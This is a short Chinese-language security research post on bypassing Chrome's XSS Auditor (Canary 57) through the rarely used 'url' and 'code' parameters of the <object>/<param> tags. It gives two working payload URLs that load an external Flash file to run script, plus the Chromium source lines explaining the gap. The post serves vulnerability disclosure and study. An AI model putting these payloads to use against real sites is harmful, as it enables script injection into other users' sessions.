XSS Auditor绕过:利用冷门标签
大家好!
我在阅读Chromium代码时偶然发现了一个XSS Auditor绕过方法。
这篇短文将分享这个绕过技术。我确认它在Chrome Canary 57上有效。
绕过示例
第一个向量:
1
|
https://vulnerabledoma.in/char_test?body=%3Cobject%20allowscriptaccess=always%3E%20%3Cparam%20name=url%20value=https://l0.cm/xss.swf%3E
|
对应代码:
1
2
|
<object allowscriptaccess=always>
<param name=url value=https://l0.cm/xss.swf>
|
第二个向量:
1
|
https://vulnerabledoma.in/char_test?body=%3Cobject%20allowscriptaccess=always%3E%20%3Cparam%20name=code%20value=https://l0.cm/xss.swf%3E
|
对应代码:
1
2
|
<object allowscriptaccess=always>
<param name=code value=https://l0.cm/xss.swf>
|
技术原理
在阅读HTMLObjectElement.cpp
时,我发现了以下关键代码段:
1
2
3
4
|
if (url.isEmpty() && urlParameter.isEmpty() &&
(equalIgnoringCase(name, "src") || equalIgnoringCase(name, "movie") ||
equalIgnoringCase(name, "code") || equalIgnoringCase(name, "url")))
urlParameter = stripLeadingAndTrailingHTMLSpaces(p->value());
|
XSS Auditor会拦截<param name="src">
和<param name="movie">
,但我注意到code
和url
参数没有被拦截。利用这一点,我们可以加载Flash并执行JavaScript。
根据源代码注释,Chrome支持这些参数是为了兼容性。但经我确认,这在IE/Edge和Firefox上无效。我认为Chrome可以移除这种支持。
总结
这就是使用<param>
标签绕过XSS Auditor的方法。感谢阅读!